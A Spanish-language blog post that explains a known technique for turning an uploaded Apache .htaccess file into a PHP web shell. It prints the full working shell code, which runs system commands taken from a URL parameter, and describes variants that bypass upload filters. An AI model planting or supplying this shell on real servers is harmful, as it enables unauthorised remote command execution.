El servidor web Apache es uno de los mas populares que existen, en un momento llego a acaparar en más del 65% el mercado, aún hoy sigue siendo el más utilizado en la gran red de redes. La primacía entre otros servidores tiene que ver su robustez y la facilidad de configuración. Una de las virtudes que tiene es que podemos descentralizar la configuración, es decir, diferentes carpetas pueden tener diferentes configuraciones, gracias al archivo .htaccess.
La configuración de este archivo (.htaccess) es bastante amigable y los cambios que realizemos en él, tiene su efecto en todas las subcarpetas que lo contengan. Apache leerá este archivo primero e ignorará las lineas que comiencen con " # "(se utilizan para comentarios). Por otra parte hablemos un poco de PHP, es un lenguaje escripting embebido, con esto de "embeber" me refiero que un archivo .html puede tener porciones de código encerradas entre " <?php ?> " que serán interpretadas y ejecutadas por PHP.
Si fusionamos la forma de comentar los archivos de configuracion de Apache (#) y la etiqueta embebida de PHP "<?php ?>" podemos hacer una shell utilizando el archivo .htaccess, tal como lo mensiona Eldar Marcussen en su blog, donde nos cuenta que testeando un CMS (no da nombre =) notó que todos los archivos que subía se guardaban en el propio directorio del CMS (obviamente no permitia subir archivos ejecutables, del tipo .php).
Ahora bién, la forma de poder ejecutar algo del lado del servidor es subiendo un .htaccess que incluya nuestra shell, y para evitar posibles errores y quejas de Apache en el archivo de configuracion, simplemente escondemos nuestra shell comentando la linea que lo contiene, luego pasamos los parámetros por url y PHP se encargará de ejecutar lo que encuentre dentro de <?php ?> =)
Veamos un ejemplo..
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######
La manera de ejecutar un comando seria http://domain/path/.htaccess?c=command. También existen variantes, como pasar los parámetros por POST, o modificar el .htaccess para que ejecute otros tipos de archivos, por ejemplo agregando AddType application/x-httpd-php .jpg y subir una shell con la extensión .jpg, etc...
Para mas información:
http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html
http:// www.apache.org
http://www.php.net
No hay comentarios:
Publicar un comentario